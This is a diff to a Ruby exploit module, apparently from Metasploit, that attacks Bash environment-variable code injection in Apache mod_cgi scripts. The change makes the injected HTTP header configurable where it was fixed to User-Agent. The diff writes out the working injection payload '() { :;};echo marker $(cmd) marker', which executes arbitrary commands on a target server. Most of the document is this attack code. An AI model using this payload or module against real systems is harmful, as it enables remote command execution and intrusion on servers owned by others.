@@ -17,7 +17,7 @@ def initialize(info = {})
17
17
'Description' => %q{
18
18
This module exploits a code injection in specially crafted environment
19
19
variables in Bash, specifically targeting Apache mod_cgi scripts through
20
- the HTTP_USER_AGENT variable.
20
+ the HTTP_USER_AGENT variable by default .
21
21
} ,
22
22
'Author' => [
23
23
'Stephane Chazelas' , # Vulnerability discovery
@@ -58,7 +58,8 @@ def initialize(info = {})
58
58
59
59
register_options ( [
60
60
OptString . new ( 'TARGETURI' , [ true , 'Path to CGI script' ] ) ,
61
- OptEnum . new ( 'METHOD' , [ true , 'HTTP method to use' , 'GET' , [ 'GET' , 'POST' ] ] ) ,
61
+ OptString . new ( 'METHOD' , [ true , 'HTTP method to use' , 'GET' ] ) ,
62
+ OptString . new ( 'HEADER' , [ true , 'HTTP header to use' , 'User-Agent' ] ) ,
62
63
OptInt . new ( 'CMD_MAX_LENGTH' , [ true , 'CMD max line length' , 2048 ] ) ,
63
64
OptString . new ( 'RPATH' , [ true , 'Target PATH for binaries used by the CmdStager' , '/bin' ] ) ,
64
65
OptInt . new ( 'TIMEOUT' , [ true , 'HTTP read response timeout (seconds)' , 5 ] )
@@ -117,7 +118,9 @@ def req(cmd)
117
118
{
118
119
'method' => datastore [ 'METHOD' ] ,
119
120
'uri' => normalize_uri ( target_uri . path . to_s ) ,
120
- 'agent' => "() { :;};echo #{ marker } $(#{ cmd } )#{ marker } "
121
+ 'headers' => {
122
+ datastore [ 'HEADER' ] => "() { :;};echo #{ marker } $(#{ cmd } )#{ marker } "
123
+ }
121
124
} , datastore [ 'TIMEOUT' ] )
122
125
end
123
126
0 commit comments